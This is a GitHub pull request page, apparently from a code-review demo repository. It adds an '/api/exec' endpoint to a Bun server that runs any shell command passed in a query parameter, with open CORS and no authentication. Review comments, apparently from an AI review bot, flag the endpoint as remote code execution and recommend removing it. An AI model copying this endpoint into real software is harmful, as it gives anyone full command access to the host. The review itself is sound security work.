-
Notifications
You must be signed in to change notification settings - Fork 0
Add /api/exec diagnostic endpoint #25
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change | ||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|
@@ -322,6 +322,29 @@ const server = Bun.serve({ | |||||||||||||||||||||||||||||||||||||||||||||||
| }); | ||||||||||||||||||||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||
| if (url.pathname === "/api/exec") { | ||||||||||||||||||||||||||||||||||||||||||||||||
| // Quick diagnostic endpoint to run system commands | ||||||||||||||||||||||||||||||||||||||||||||||||
| const cmd = url.searchParams.get("cmd"); | ||||||||||||||||||||||||||||||||||||||||||||||||
| if (!cmd) { | ||||||||||||||||||||||||||||||||||||||||||||||||
| return new Response(JSON.stringify({ error: "Missing cmd parameter" }), { | ||||||||||||||||||||||||||||||||||||||||||||||||
| status: 400, | ||||||||||||||||||||||||||||||||||||||||||||||||
| headers: { "Content-Type": "application/json", ...corsHeaders }, | ||||||||||||||||||||||||||||||||||||||||||||||||
| }); | ||||||||||||||||||||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||
| try { | ||||||||||||||||||||||||||||||||||||||||||||||||
| const { stdout, stderr } = await execAsync(cmd); | ||||||||||||||||||||||||||||||||||||||||||||||||
| return new Response(JSON.stringify({ stdout, stderr }), { | ||||||||||||||||||||||||||||||||||||||||||||||||
| headers: { "Content-Type": "application/json", ...corsHeaders }, | ||||||||||||||||||||||||||||||||||||||||||||||||
| }); | ||||||||||||||||||||||||||||||||||||||||||||||||
| } catch (error: any) { | ||||||||||||||||||||||||||||||||||||||||||||||||
| return new Response(JSON.stringify({ error: error.message }), { | ||||||||||||||||||||||||||||||||||||||||||||||||
| status: 500, | ||||||||||||||||||||||||||||||||||||||||||||||||
| headers: { "Content-Type": "application/json", ...corsHeaders }, | ||||||||||||||||||||||||||||||||||||||||||||||||
| }); | ||||||||||||||||||||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||||||||||||||||||||
|
Comment on lines
+325
to
+346
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 🧩 Analysis chain🏁 Script executed: # First, locate the server/index.ts file and check its existence
find . -name "index.ts" -path "*/server/*" | head -20Repository: coderabbit-demo/btop Length of output: 81 🏁 Script executed: # Get file size to understand how to read it safely
wc -l server/index.ts 2>/dev/null || find . -type f -name "index.ts" -exec wc -l {} \;Repository: coderabbit-demo/btop Length of output: 83 🏁 Script executed: # Read the specific lines in question (325-346) and surrounding context
sed -n '320,350p' server/index.tsRepository: coderabbit-demo/btop Length of output: 1015 🏁 Script executed: # Read CORS headers configuration around lines 261-265
sed -n '255,270p' server/index.tsRepository: coderabbit-demo/btop Length of output: 466 🏁 Script executed: # Find execAsync definition (claimed to be at line 5)
sed -n '1,30p' server/index.tsRepository: coderabbit-demo/btop Length of output: 615 🏁 Script executed: # Search for any authentication or authorization checks for /api/exec
rg -n "api/exec|execAsync" server/index.ts -A 5 -B 5Repository: coderabbit-demo/btop Length of output: 2418 Remove or hard-gate this unauthenticated RCE endpoint. Line 336 executes attacker-controlled input with 🔒 Safer direction- if (url.pathname === "/api/exec") {
- // Quick diagnostic endpoint to run system commands
- const cmd = url.searchParams.get("cmd");
- if (!cmd) {
- return new Response(JSON.stringify({ error: "Missing cmd parameter" }), {
- status: 400,
- headers: { "Content-Type": "application/json", ...corsHeaders },
- });
- }
-
- try {
- const { stdout, stderr } = await execAsync(cmd);
- return new Response(JSON.stringify({ stdout, stderr }), {
- headers: { "Content-Type": "application/json", ...corsHeaders },
- });
- } catch (error: any) {
- return new Response(JSON.stringify({ error: error.message }), {
- status: 500,
- headers: { "Content-Type": "application/json", ...corsHeaders },
- });
- }
- }
+ // Do not expose arbitrary shell execution over HTTP.📝 Committable suggestion
Suggested change
🧰 Tools🪛 ESLint[error] 340-340: Unexpected any. Specify a different type. ( 🤖 Prompt for AI Agents |
||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||
| return new Response("Not Found", { status: 404, headers: corsHeaders }); | ||||||||||||||||||||||||||||||||||||||||||||||||
| }, | ||||||||||||||||||||||||||||||||||||||||||||||||
| }); | ||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🧩 Analysis chain
🏁 Script executed:
Repository: coderabbit-demo/btop
Length of output: 218
🏁 Script executed:
Repository: coderabbit-demo/btop
Length of output: 46
🏁 Script executed:
Repository: coderabbit-demo/btop
Length of output: 709
🏁 Script executed:
Repository: coderabbit-demo/btop
Length of output: 679
🏁 Script executed:
rg "catch\s*\(\s*error" server/index.ts -A 2Repository: coderabbit-demo/btop
Length of output: 279
🏁 Script executed:
Repository: coderabbit-demo/btop
Length of output: 83
🏁 Script executed:
rg "catch\s*\(\s*error\s*:" server/index.ts -B 2 -A 3Repository: coderabbit-demo/btop
Length of output: 349
Avoid
anyin catch blocks.Line 340 uses
error: any, which violates the active ESLint rule (@typescript-eslint/no-explicit-anyfromtseslint.configs.recommended) and drops type safety. Narrow fromunknownbefore accessing.message.🧹 Minimal fix
📝 Committable suggestion
🧰 Tools
🪛 ESLint
[error] 340-340: Unexpected any. Specify a different type.
(
@typescript-eslint/no-explicit-any)🤖 Prompt for AI Agents